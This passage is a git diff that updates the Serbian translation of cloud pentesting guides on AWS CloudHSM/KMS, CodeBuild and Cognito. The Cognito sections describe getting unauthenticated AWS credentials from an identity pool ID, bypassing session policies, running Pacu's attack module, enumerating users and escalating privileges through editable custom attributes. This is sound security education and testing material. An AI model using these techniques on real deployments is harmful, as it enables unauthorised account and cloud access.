implementacijama. Pored simetričnih ključeva koji se koriste u simetričnim algoritmima kao što je AES, **KMS skladišti i fizički štiti samo simetrične ključeve (ne može delovati kao sertifikaciona vlast)**, tako da ako trebate skladištiti PKI i CA ključeve, jedan ili dva ili tri CloudHSM-a mogli bi biti vaše rešenje. **CloudHSM je znatno skuplji od usluge za upravljanje ključevima**. CloudHSM je hardverski uređaj, tako da imate fiksne troškove za obezbeđivanje CloudHSM uređaja, a zatim satni trošak za rad uređaja. Trošak se množi sa onoliko CloudHSM uređaja koliko je potrebno da se postignu vaši specifični zahtevi.\ -Pored toga, treba razmotriti i kupovinu softvera treće strane kao što su SafeNet ProtectV softverski paketi i vreme i trud potrebni za integraciju. Usluga za upravljanje ključevima je zasnovana na upotrebi i zavisi od broja ključeva koje imate i operacija ulaza i izlaza. Kako usluga za upravljanje ključevima obezbeđuje besprekornu integraciju sa mnogim AWS uslugama, troškovi integracije bi trebali biti znatno niži. Troškovi bi trebali biti sekundarni faktor u rešenjima za enkripciju. Enkripcija se obično koristi za sigurnost i usklađenost. +Pored toga, mora se uzeti u obzir i kupovina softvera treće strane kao što su SafeNet ProtectV softverski paketi i vreme i trud za integraciju. Usluga za upravljanje ključevima je zasnovana na upotrebi i zavisi od broja ključeva koje imate i operacija ulaza i izlaza. Kako usluga za upravljanje ključevima pruža besprekornu integraciju sa mnogim AWS uslugama, troškovi integracije bi trebali biti znatno niži. Troškovi bi trebali biti sekundarni faktor u rešenjima za enkripciju. Enkripcija se obično koristi za sigurnost i usklađenost. -**Sa CloudHSM-om samo vi imate pristup ključevima** i bez previše detalja, sa CloudHSM-om upravljate svojim ključevima. **Sa KMS-om, vi i Amazon zajednički upravljate vašim ključevima**. AWS ima mnoge politike zaštite od zloupotrebe i **i dalje ne može pristupiti vašim ključevima u bilo kojem rešenju**. Glavna razlika je usklađenost u vezi sa vlasništvom i upravljanjem ključevima, a sa CloudHSM-om, ovo je hardverski uređaj koji vi upravljate i održavate sa ekskluzivnim pristupom samo vama. +**Sa CloudHSM-om samo vi imate pristup ključevima** i bez previše detalja, sa CloudHSM-om upravljate svojim ključevima. **Sa KMS-om, vi i Amazon zajednički upravljate vašim ključevima**. AWS ima mnoge politike zaštite od zloupotrebe i **i dalje ne može pristupiti vašim ključevima u bilo kojem rešenju**. Glavna razlika je usklađenost u vezi sa vlasništvom i upravljanjem ključevima, a sa CloudHSM-om, ovo je hardverski uređaj koji vi upravljate i održavate sa isključivim pristupom samo vama. ### CloudHSM Suggestions 1. Uvek implementirajte CloudHSM u **HA postavci** sa najmanje dva uređaja u **odvojenim dostupnim zonama**, a ako je moguće, implementirajte treći ili na lokaciji ili u drugoj regiji na AWS-u. -2. Budite oprezni prilikom **inicijalizacije** **CloudHSM-a**. Ova akcija **će uništiti ključeve**, tako da ili imajte drugu kopiju ključeva ili budite apsolutno sigurni da ih nemate i nikada, nikada nećete trebati ove ključeve za dekripciju bilo kojih podataka. +2. Budite oprezni prilikom **inicijalizacije** **CloudHSM-a**. Ova akcija **će uništiti ključeve**, tako da ili imajte drugu kopiju ključeva ili budite apsolutno sigurni da ih nećete i nikada nećete trebati za dekripciju bilo kojih podataka. 3. CloudHSM samo **podržava određene verzije firmvera** i softvera. Pre nego što izvršite bilo kakvo ažuriranje, uverite se da je firmver i/ili softver podržan od strane AWS-a. Uvek možete kontaktirati AWS podršku da proverite ako je vodič za nadogradnju nejasan. 4. **Konfiguracija mreže nikada ne bi trebala biti promenjena.** Zapamtite, to je u AWS data centru i AWS prati osnovni hardver za vas. To znači da ako hardver otkaže, oni će ga zameniti za vas, ali samo ako znaju da je otkazao. 5. **SysLog prosleđivanje ne bi trebalo biti uklonjeno ili promenjeno**. Uvek možete **dodati** SysLog prosleđivač da usmerite logove na vaš vlastiti alat za prikupljanje. @@ -38,13 +38,13 @@ Pored toga, treba razmotriti i kupovinu softvera treće strane kao što su SafeN Početna naknada za CloudHSM je 5.000 dolara za dodeljivanje hardverskog uređaja posvećenog vašoj upotrebi, a zatim postoji satna naknada povezana sa radom CloudHSM-a koja trenutno iznosi 1,88 dolara po satu rada, ili otprilike 1.373 dolara mesečno. -Najčešći razlog za korišćenje CloudHSM-a su standardi usklađenosti koje morate ispuniti iz regulatornih razloga. **KMS ne nudi podršku za podatke za asimetrične ključeve. CloudHSM vam omogućava da sigurno skladištite asimetrične ključeve**. +Najčešći razlog za korišćenje CloudHSM-a su standardi usklađenosti koje morate ispuniti iz regulatornih razloga. **KMS ne nudi podršku za asimetrične ključeve. CloudHSM vam omogućava da sigurno skladištite asimetrične ključeve**. **Javni ključ se instalira na HSM uređaju tokom dodeljivanja** tako da možete pristupiti CloudHSM instanci putem SSH. ### Šta je Hardverski Bezbednosni Modul -Hardverski bezbednosni modul (HSM) je posvećen kriptografski uređaj koji se koristi za generisanje, skladištenje i upravljanje kriptografskim ključevima i zaštitu osetljivih podataka. Dizajniran je da obezbedi visok nivo sigurnosti fizičkim i elektronskim izolovanjem kriptografskih funkcija od ostatka sistema. +Hardverski bezbednosni modul (HSM) je posvećen kriptografski uređaj koji se koristi za generisanje, skladištenje i upravljanje kriptografskim ključevima i zaštitu osetljivih podataka. Dizajniran je da pruži visok nivo sigurnosti fizičkim i elektronskim izolovanjem kriptografskih funkcija od ostatka sistema. Način na koji HSM funkcioniše može varirati u zavisnosti od specifičnog modela i proizvođača, ali generalno, sledeći koraci se dešavaju: @@ -52,11 +52,11 @@ Način na koji HSM funkcioniše može varirati u zavisnosti od specifičnog mode 2. **Skladištenje ključeva**: Ključ se **sigurno skladišti unutar HSM-a, gde mu mogu pristupiti samo ovlašćeni korisnici ili procesi**. 3. **Upravljanje ključevima**: HSM pruža niz funkcija upravljanja ključevima, uključujući rotaciju ključeva, rezervnu kopiju i opoziv. 4. **Kriptografske operacije**: HSM obavlja niz kriptografskih operacija, uključujući enkripciju, dekripciju, digitalni potpis i razmenu ključeva. Ove operacije se **izvode unutar sigurnog okruženja HSM-a**, što štiti od neovlašćenog pristupa i manipulacije. -5. **Audit logovanje**: HSM beleži sve kriptografske operacije i pokušaje pristupa, što se može koristiti za usklađenost i bezbednosno reviziju. +5. **Audit logovanje**: HSM beleži sve kriptografske operacije i pokušaje pristupa, što se može koristiti za usklađenost i svrhe bezbednosnog audita. HSM-ovi se mogu koristiti za širok spektar aplikacija, uključujući sigurne online transakcije, digitalne sertifikate, sigurnu komunikaciju i enkripciju podataka. Često se koriste u industrijama koje zahtevaju visok nivo sigurnosti, kao što su finansije, zdravstvo i vlada. -Sve u svemu, visok nivo sigurnosti koji pružaju HSM-ovi čini **veoma teškim da se sirovi ključevi izvade iz njih, a pokušaj da se to uradi često se smatra kršenjem sigurnosti**. Međutim, može postojati **određeni scenariji** u kojima bi **sirovi ključ mogao biti izvučen** od strane ovlašćenog osoblja za specifične svrhe, kao što je slučaj postupka oporavka ključeva. +Sve u svemu, visok nivo sigurnosti koji pružaju HSM-ovi čini **veoma teškim da se sirovi ključevi izvade iz njih, a pokušaj da se to uradi često se smatra kršenjem sigurnosti**. Međutim, može postojati **određeni scenariji** u kojima bi **sirovi ključ mogao biti izvučen** od strane ovlašćenog osoblja za specifične svrhe, kao što je slučaj procedure oporavka ključeva. ### Enumeracija ``` diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md index cce645eb9..820c93901 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-codebuild-enum.md @@ -4,7 +4,7 @@ ## CodeBuild -AWS **CodeBuild** se prepoznaje kao **potpuno upravljana usluga kontinuirane integracije**. Primarna svrha ove usluge je automatizacija sekvence kompajliranja izvornog koda, izvršavanja testova i pakovanja softvera za svrhe implementacije. Dominantna prednost koju nudi CodeBuild leži u njegovoj sposobnosti da olakša korisnicima potrebu za obezbeđivanjem, upravljanjem i skaliranjem svojih build servera. Ova pogodnost je rezultat toga što sama usluga upravlja tim zadacima. Osnovne karakteristike AWS CodeBuild obuhvataju: +AWS **CodeBuild** se prepoznaje kao **potpuno upravljana usluga kontinuirane integracije**. Primarna svrha ove usluge je automatizacija sekvence kompajliranja izvornog koda, izvršavanja testova i pakovanja softvera za svrhe implementacije. Glavna prednost koju nudi CodeBuild leži u njegovoj sposobnosti da olakša korisnicima potrebu za obezbeđivanjem, upravljanjem i skaliranjem svojih build servera. Ova pogodnost dolazi zato što sama usluga upravlja tim zadacima. Osnovne karakteristike AWS CodeBuild obuhvataju: 1. **Upravljana usluga**: CodeBuild upravlja i skalira build servere, oslobađajući korisnike od održavanja servera. 2. **Kontinuirana integracija**: Integrira se sa razvojnim i implementacionim radnim tokom, automatizujući faze build-a i testiranja procesa objavljivanja softvera. @@ -16,13 +16,13 @@ AWS CodeBuild se besprekorno integriše sa drugim AWS uslugama, poboljšavajući #### **Podrazumevani izvorni akreditivi** -Ovo je opcija iz nasleđa gde je moguće konfigurisati neki **pristup** (kao što je Github token ili aplikacija) koji će biti **deljen između codebuild projekata** tako da svi projekti mogu koristiti ovaj konfigurisani set akreditiva. +Ovo je opcija iz prošlosti gde je moguće konfigurisati neke **pristupe** (kao što je Github token ili aplikacija) koji će biti **deljeni među codebuild projektima** tako da svi projekti mogu koristiti ovaj konfigurisani set akreditiva. -Skladišteni akreditivi (tokeni, lozinke...) su **upravljao codebuild** i ne postoji javni način da se oni dobiju iz AWS API-ja. +Skladišteni akreditivi (tokeni, lozinke...) su **upravlja od strane codebuild** i ne postoji javni način da se do njih dođe putem AWS API-ja. #### Prilagođeni izvorni akreditiv -U zavisnosti od platforme repozitorijuma (Github, Gitlab i Bitbucket) pružaju se različite opcije. Ali generalno, svaka opcija koja zahteva **smeštanje tokena ili lozinke će je sačuvati kao tajnu u menadžeru tajni**. +U zavisnosti od platforme repozitorijuma (Github, Gitlab i Bitbucket) pružaju se različite opcije. Ali generalno, svaka opcija koja zahteva **smeštanje tokena ili lozinke će ih sačuvati kao tajnu u menadžeru tajni**. To omogućava **različitim codebuild projektima da koriste različite konfigurisane pristupe** provajderima umesto da koriste samo konfigurisani podrazumevani. @@ -49,7 +49,7 @@ aws codebuild describe-test-cases --report-arn ``` ### Privesc -Na sledećoj stranici možete proveriti kako da **zloupotrebite dozvole za codebuild da biste eskalirali privilegije**: +Na sledećoj stranici možete proveriti kako da **zloupotrebite codebuild dozvole za eskalaciju privilegija**: {{#ref}} ../aws-privilege-escalation/aws-codebuild-privesc.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md index c6efd5cb0..ea12aeb08 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/README.md @@ -8,7 +8,7 @@ Amazon Cognito se koristi za **autentifikaciju, autorizaciju i upravljanje koris Centralni deo Amazon Cognito čine dve glavne komponente: -1. **User Pools**: Ovo su direktorijumi dizajnirani za korisnike vaše aplikacije, nudeći **funkcionalnosti za registraciju i prijavu**. +1. **User Pools**: Ovo su direktorijumi dizajnirani za korisnike vaše aplikacije, koji nude **funkcionalnosti registracije i prijave**. 2. **Identity Pools**: Ove grupe su ključne za **autorizaciju korisnika za pristup različitim AWS uslugama**. Nisu direktno uključene u proces prijave ili registracije, ali su od suštinskog značaja za pristup resursima nakon autentifikacije. ### **User pools** @@ -73,7 +73,7 @@ aws cognito-idp describe-risk-configuration --user-pool-id ``` ### Identity Pools - Neautentifikovana Enumeracija -Samo **znajući ID identitetskog bazena** možda ćete moći **dobiti kredencijale uloge povezane sa neautentifikovanim** korisnicima (ako ih ima). [**Proverite kako ovde**](cognito-identity-pools.md#accessing-iam-roles). +Samo **znajući ID identiteta** možda ćete moći **dobiti kredencijale uloge povezane sa neautentifikovanim** korisnicima (ako ih ima). [**Proverite kako ovde**](cognito-identity-pools.md#accessing-iam-roles). ### User Pools - Neautentifikovana Enumeracija @@ -91,7 +91,7 @@ Samo **znajući ID identitetskog bazena** možda ćete moći **dobiti kredencija ../../aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md {{#endref}} -## Postojanost +## Persistencija {{#ref}} ../../aws-persistence/aws-cognito-persistence.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md index 1517d0977..f311a08c8 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md @@ -4,13 +4,13 @@ ## Osnovne informacije -Identity pools igraju ključnu ulogu omogućavajući vašim korisnicima da **dobiju privremene akreditive**. Ovi akreditivi su neophodni za pristup raznim AWS uslugama, uključujući, ali ne ograničavajući se na Amazon S3 i DynamoDB. Istaknuta karakteristika identity pools je njihova podrška za anonimne gostujuće korisnike i niz provajdera identiteta za autentifikaciju korisnika. Podržani provajderi identiteta uključuju: +Identity pools igraju ključnu ulogu omogućavajući vašim korisnicima da **dobiju privremene akreditive**. Ovi akreditive su neophodni za pristup raznim AWS uslugama, uključujući, ali ne ograničavajući se na Amazon S3 i DynamoDB. Značajna karakteristika identity pools je njihova podrška za anonimne gostujuće korisnike i niz provajdera identiteta za autentifikaciju korisnika. Podržani provajderi identiteta uključuju: -- Amazon Cognito korisničke pool-ove +- Amazon Cognito user pools - Opcije prijave putem društvenih mreža kao što su Facebook, Google, Login with Amazon i Sign in with Apple -- Provajdere koji su u skladu sa OpenID Connect (OIDC) -- SAML (Security Assertion Markup Language) provajdere identiteta -- Identitete koje autentifikuje programer +- Provajderi usklađeni sa OpenID Connect (OIDC) +- SAML (Security Assertion Markup Language) provajderi identiteta +- Identiteti autentifikovani od strane developera ```python # Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows: import boto3 @@ -43,7 +43,7 @@ Pored toga, usluga **cognito-sync** je usluga koja omogućava **upravljanje i si ### Tools for pentesting -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS okvir za eksploataciju, sada uključuje module "cognito\_\_enum" i "cognito\_\_attack" koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, atribute korisnika korišćene za kontrolu pristupa itd., kao i automatizuju kreiranje korisnika (uključujući podršku za MFA) i eskalaciju privilegija na osnovu modifikabilnih prilagođenih atributa, upotrebljivih kredencijala identity pool-a, preuzimljivih uloga u id tokenima itd. +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS framework za eksploataciju, sada uključuje module "cognito\_\_enum" i "cognito\_\_attack" koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, atribute korisnika korišćene za kontrolu pristupa, itd., kao i automatizuju kreiranje korisnika (uključujući podršku za MFA) i eskalaciju privilegija na osnovu modifikabilnih prilagođenih atributa, upotrebljivih kredencijala identity pool-a, preuzimljivih uloga u id tokenima, itd. Za opis funkcija modula pogledajte deo 2 [blog posta](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Za uputstva za instalaciju pogledajte glavnu [Pacu](https://github.com/RhinoSecurityLabs/pacu) stranicu. @@ -55,11 +55,11 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -Primer korišćenja cognito\_\_enum za prikupljanje svih korisničkih bazena, klijenata korisničkih bazena, identitetskih bazena, korisnika itd. vidljivih u trenutnom AWS nalogu: +Primer korišćenja cognito\_\_enum za prikupljanje svih korisničkih bazena, klijenata korisničkih bazena, identitetskih bazena, korisnika itd. koji su vidljivi u trenutnom AWS nalogu: ```bash Pacu (new:test) > run cognito__enum ``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) je CLI alat u python-u koji implementira različite napade na Cognito, uključujući neželjeno kreiranje naloga i eskalaciju identitetskog bazena. +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) je CLI alat u python-u koji implementira različite napade na Cognito, uključujući neželjeno kreiranje naloga i eskalaciju identiteta. #### Instalacija ```bash @@ -71,14 +71,14 @@ $ cognito-scanner --help ``` Za više informacija proverite https://github.com/padok-team/cognito-scanner -## Pristup IAM Ulogama +## Pristup IAM rolama ### Neautentifikovani Jedina stvar koju napadač treba da zna da bi **dobio AWS kredencijale** u Cognito aplikaciji kao neautentifikovani korisnik je **ID identitetskog bazena**, i ovaj **ID mora biti hardkodiran** u web/mobilnoj **aplikaciji** da bi se koristio. ID izgleda ovako: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (nije moguće izvršiti bruteforce). > [!TIP] -> **IAM Cognito neautentifikovana uloga kreirana putem** se po defaultu zove `Cognito_Unauth_Role` +> **IAM Cognito neautentifikovana uloga kreirana putem** se po defaultu naziva `Cognito_Unauth_Role` Ako pronađete ID identitetskog bazena hardkodiran i omogućava neautentifikovanim korisnicima, možete dobiti AWS kredencijale sa: ```python @@ -112,11 +112,11 @@ aws cognito-identity get-id --identity-pool-id --no-sign aws cognito-identity get-credentials-for-identity --identity-id --no-sign ``` > [!WARNING] -> Imajte na umu da po default-u neautentifikovani cognito **korisnik NE MOŽE imati nikakva ovlašćenja, čak i ako su dodeljena putem politike**. Proverite sledeću sekciju. +> Imajte na umu da po default-u neautentifikovani cognito **korisnik NE MOŽE imati nikakva prava, čak i ako su dodeljena putem politike**. Proverite sledeću sekciju. -### Poboljšani vs Osnovni tok autentifikacije +### Poboljšan vs Osnovni tok autentifikacije -Prethodna sekcija je pratila **podrazumevani poboljšani tok autentifikacije**. Ovaj tok postavlja **restriktivnu** [**politiku sesije**](../../aws-basic-information/#session-policies) za IAM ulogu koja je generisana. Ova politika će omogućiti sesiji da [**koristi usluge sa ove liste**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (čak i ako je uloga imala pristup drugim uslugama). +Prethodna sekcija je pratila **podrazumevani poboljšani tok autentifikacije**. Ovaj tok postavlja **restriktivnu** [**politiku sesije**](../../aws-basic-information/#session-policies) za IAM ulogu generisanu tokom sesije. Ova politika će dozvoliti sesiji da [**koristi usluge sa ove liste**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (čak i ako je uloga imala pristup drugim uslugama). Međutim, postoji način da se to zaobiđe, ako je **Identitetski bazen omogućio "Osnovni (Klasični) Tok"**, korisnik će moći da dobije sesiju koristeći taj tok koji **neće imati tu restriktivnu politiku sesije**. ```bash @@ -142,14 +142,14 @@ Imajući set IAM kredencijala, trebali biste proveriti [koje pristupe imate](../ > [!NOTE] > Zapamtite da će **autentifikovani korisnici** verovatno imati **različite dozvole**, pa ako možete **da se prijavite unutar aplikacije**, pokušajte to i dobijte nove kredencijale. -Takođe mogu postojati **uloge** dostupne za **autentifikovane korisnike koji pristupaju Identity Pool**. +Takođe bi mogli postojati **rolе** dostupne za **autentifikovane korisnike koji pristupaju Identity Pool-u**. -Za to možda ćete morati da imate pristup **provajderu identiteta**. Ako je to **Cognito User Pool**, možda možete da iskoristite podrazumevano ponašanje i **napravite novog korisnika sami**. +Za to možda treba da imate pristup **provajderu identiteta**. Ako je to **Cognito User Pool**, možda možete da iskoristite podrazumevano ponašanje i **napravite novog korisnika sami**. > [!TIP] -> **IAM Cognito autentifikovana uloga kreirana putem** se podrazumevano naziva `Cognito_Auth_Role` +> **IAM Cognito autentifikovana uloga kreirana putem** se podrazumevano naziva `Cognito_Auth_Role` -U svakom slučaju, **sledeći primer** očekuje da ste se već prijavili unutar **Cognito User Pool** koji se koristi za pristup Identity Pool-u (ne zaboravite da se drugi tipovi provajdera identiteta takođe mogu konfigurisati). +U svakom slučaju, **sledeći primer** očekuje da ste se već prijavili unutar **Cognito User Pool-a** koji se koristi za pristup Identity Pool-u (ne zaboravite da se drugi tipovi provajdera identiteta takođe mogu konfigurisati).
aws cognito-identity get-id \
 --identity-pool-id <identity_pool_id> \
@@ -161,7 +161,7 @@ aws cognito-identity get-credentials-for-identity \
 --logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
 
 
-# U IdToken-u možete pronaći uloge kojima korisnik ima pristup zbog grupa User Pool-a
+# U IdToken-u možete pronaći uloge kojima korisnik ima pristup zbog User Pool Grupa
 # Koristite --custom-role-arn da dobijete kredencijale za specifičnu ulogu
 aws cognito-identity get-credentials-for-identity \
 --identity-id <identity_id> \
@@ -170,6 +170,6 @@ aws cognito-identity get-credentials-for-identity \
 
> [!WARNING] -> Moguće je **konfigurisati različite IAM uloge u zavisnosti od provajdera identiteta** preko kojeg se korisnik prijavljuje ili čak samo u zavisnosti **od korisnika** (koristeći tvrdnje). Stoga, ako imate pristup različitim korisnicima putem istog ili različitih provajdera, možda bi **bilo korisno da se prijavite i pristupite IAM ulogama svih njih**. +> Moguće je **konfigurisati različite IAM uloge u zavisnosti od provajdera identiteta** preko kojeg se korisnik prijavljuje ili čak samo u zavisnosti **od korisnika** (koristeći tvrdnje). Stoga, ako imate pristup različitim korisnicima putem istih ili različitih provajdera, možda bi **bilo korisno da se prijavite i pristupite IAM ulogama svih njih**. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md index c2ad9cf59..48814b2ac 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md @@ -4,29 +4,29 @@ ## Osnovne informacije -Korisnički bazen je direktorij korisnika u Amazon Cognito. Sa korisničkim bazenom, vaši korisnici mogu **prijaviti se na vašu veb ili mobilnu aplikaciju** putem Amazon Cognito, **ili se federisati** putem **treće strane** provajdera identiteta (IdP). Bez obzira da li se vaši korisnici prijavljuju direktno ili putem treće strane, svi članovi korisničkog bazena imaju profil u direktorijumu kojem možete pristupiti putem SDK-a. +User pool je direktorijum korisnika u Amazon Cognito. Sa user pool-om, vaši korisnici mogu **da se prijave na vašu web ili mobilnu aplikaciju** putem Amazon Cognito, **ili da se federišu** putem **treće strane** provajdera identiteta (IdP). Bilo da se vaši korisnici prijavljuju direktno ili putem treće strane, svi članovi user pool-a imaju profil u direktorijumu kojem možete pristupiti putem SDK-a. -Korisnički bazeni pružaju: +User pool-ovi pružaju: -- Usluge registracije i prijavljivanja. -- Ugrađeni, prilagodljivi veb UI za prijavljivanje korisnika. -- Društveno prijavljivanje putem Facebook-a, Google-a, Login with Amazon, i Sign in with Apple, kao i putem SAML i OIDC provajdera identiteta iz vašeg korisničkog bazena. -- Upravljanje korisničkim direktorijumom i korisničkim profilima. -- Bezbednosne funkcije kao što su višefaktorska autentifikacija (MFA), provere za kompromitovane akreditive, zaštita od preuzimanja naloga, i verifikacija telefona i e-pošte. +- Usluge registracije i prijave. +- Ugrađeni, prilagodljivi web UI za prijavu korisnika. +- Društvenu prijavu putem Facebook-a, Google-a, Login with Amazon, i Sign in with Apple, kao i putem SAML i OIDC provajdera identiteta iz vašeg user pool-a. +- Upravljanje direktorijumom korisnika i korisničkim profilima. +- Bezbednosne funkcije kao što su višefaktorska autentifikacija (MFA), provere za kompromitovane akreditive, zaštita od preuzimanja naloga, i verifikacija telefona i email-a. - Prilagođeni radni tokovi i migracija korisnika putem AWS Lambda okidača. -**Izvorni kod** aplikacija obično takođe sadrži **ID korisničkog bazena** i **ID klijentske aplikacije**, (i ponekad **tajnu aplikacije**?) koji su potrebni za **prijavu korisnika** u Cognito korisnički bazen. +**Izvorni kod** aplikacija obično takođe sadrži **user pool ID** i **ID klijentske aplikacije**, (i ponekad **tajnu aplikacije**?) koji su potrebni za **prijavu korisnika** u Cognito User Pool. ### Potencijalni napadi - **Registracija**: Po defaultu, korisnik se može registrovati sam, tako da može kreirati korisnika za sebe. - **Enumeracija korisnika**: Funkcionalnost registracije može se koristiti za pronalaženje korisničkih imena koja već postoje. Ove informacije mogu biti korisne za napad brute-force. -- **Brute-force prijava**: U [**Autentifikaciji**](cognito-user-pools.md#authentication) imate sve **metode** koje korisnik ima za **prijavu**, mogli biste pokušati da ih brute-force-ujete **pronađete važeće akreditive**. +- **Brute-force prijava**: U [**Autentifikaciji**](cognito-user-pools.md#authentication) imate sve **metode** koje korisnik može koristiti za **prijavu**, možete pokušati da ih brute-force-ujete **da pronađete validne akreditive**. ### Alati za pentesting -- [Pacu](https://github.com/RhinoSecurityLabs/pacu), sada uključuje `cognito__enum` i `cognito__attack` module koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, korisničke atribute korišćene za kontrolu pristupa, itd., i takođe automatizuju kreiranje korisnika (uključujući podršku za MFA) i eskalaciju privilegija na osnovu modifikabilnih prilagođenih atributa, upotrebljivih akreditiva identitetskog bazena, preuzimljivih uloga u id tokenima, itd.\ -Za opis funkcija modula pogledajte deo 2 [blog posta](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Za uputstva za instalaciju pogledajte glavnu stranicu [Pacu](https://github.com/RhinoSecurityLabs/pacu). +- [Pacu](https://github.com/RhinoSecurityLabs/pacu), sada uključuje `cognito__enum` i `cognito__attack` module koji automatizuju enumeraciju svih Cognito resursa u nalogu i označavaju slabe konfiguracije, atribute korisnika korišćene za kontrolu pristupa, itd., i takođe automatizuju kreiranje korisnika (uključujući podršku za MFA) i eskalaciju privilegija na osnovu modifikabilnih prilagođenih atributa, upotrebljivih akreditiva identiteta, preuzimljivih uloga u id tokenima, itd.\ +Za opis funkcija modula pogledajte deo 2 [blog posta](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Za uputstva za instalaciju pogledajte glavnu [Pacu](https://github.com/RhinoSecurityLabs/pacu) stranicu. ```bash # Run cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account Pacu (new:test) > run cognito__enum @@ -36,7 +36,7 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX ``` -- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) je CLI alat u python-u koji implementira različite napade na Cognito, uključujući neželjeno kreiranje naloga i oracle naloga. Proverite [ovaj link](https://github.com/padok-team/cognito-scanner) za više informacija. +- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) je CLI alat u pythonu koji implementira različite napade na Cognito, uključujući neželjeno kreiranje naloga i oracle naloga. Proverite [this link](https://github.com/padok-team/cognito-scanner) za više informacija. ```bash # Install pip install cognito-scanner @@ -83,16 +83,16 @@ Naći ćete ovu grešku i nećete moći da registrujete ili enumerišete korisni ``` An error occurred (NotAuthorizedException) when calling the SignUp operation: SignUp is not permitted for this user pool ``` -### Verifying Registration +### Verifikacija Registracije -Cognito omogućava da **verifikujete novog korisnika verifikovanjem njegovog emaila ili broja telefona**. Stoga, prilikom kreiranja korisnika obično će vam biti potrebni barem korisničko ime i lozinka, kao i **email i/ili broj telefona**. Samo postavite jedan **koji kontrolišete** kako biste primili kod za **verifikaciju vašeg** novokreiranog korisničkog **naloga** ovako: +Cognito omogućava da **verifikujete novog korisnika verifikovanjem njegovog emaila ili broja telefona**. Stoga, prilikom kreiranja korisnika obično će vam biti potrebni barem korisničko ime i lozinka, kao i **email i/ili broj telefona**. Samo postavite jedan **koji kontrolišete** kako biste primili kod za **verifikaciju vašeg** novokreiranog korisničkog **naloga** na sledeći način: ```bash aws cognito-idp confirm-sign-up --client-id \ --username aasdasd2 --confirmation-code \ --no-sign-request --region us-east-1 ``` > [!WARNING] -> Čak i ako **izgleda da možete koristiti istu email** i telefonski broj, kada treba da verifikujete kreiranog korisnika, Cognito će se žaliti na korišćenje istih informacija i **neće vam dozvoliti da verifikujete nalog**. +> Čak i ako **izgleda da možete koristiti istu email adresu** i broj telefona, kada treba da verifikujete kreiranog korisnika, Cognito će se žaliti na korišćenje istih informacija i **neće vam dozvoliti da verifikujete nalog**. ### Eskalacija privilegija / Ažuriranje atributa @@ -103,32 +103,32 @@ aws cognito-idp update-user-attributes \ --user-attributes Name=address,Value=street \ --access-token ``` -#### Privelegije prilagođenih atributa +#### Privesc prilagođenih atributa > [!CAUTION] > Možete pronaći **prilagođene atribute** koji se koriste (kao što je `isAdmin`), jer po defaultu možete **promeniti vrednosti svojih atributa**, možda ćete moći da **escalate privilegije** menjajući vrednost sami! -#### Privelegije modifikacije emaila/korisničkog imena +#### Privesc modifikacije emaila/korisničkog imena Možete koristiti ovo da **modifikujete email i broj telefona** korisnika, ali tada, čak i ako račun ostane kao verifikovan, ti atributi su **postavljeni u status neproveren** (morate ih ponovo verifikovati). > [!WARNING] -> Nećete moći da se prijavite sa emailom ili brojem telefona dok ih ne verifikujete, ali ćete moći da se **prijavite sa korisničkim imenom**.\ -> Imajte na umu da čak i ako je email modifikovan i nije verifikovan, pojaviće se u ID Token-u unutar **`email`** **polja** i polje **`email_verified`** će biti **false**, ali ako aplikacija **ne proverava to, možda ćete moći da se pretvarate da ste drugi korisnici**. +> Nećete moći da se prijavite sa emailom ili brojem telefona dok ih ne verifikujete, ali ćete moći da se prijavite sa korisničkim imenom.\ +> Imajte na umu da čak i ako je email modifikovan i nije verifikovan, 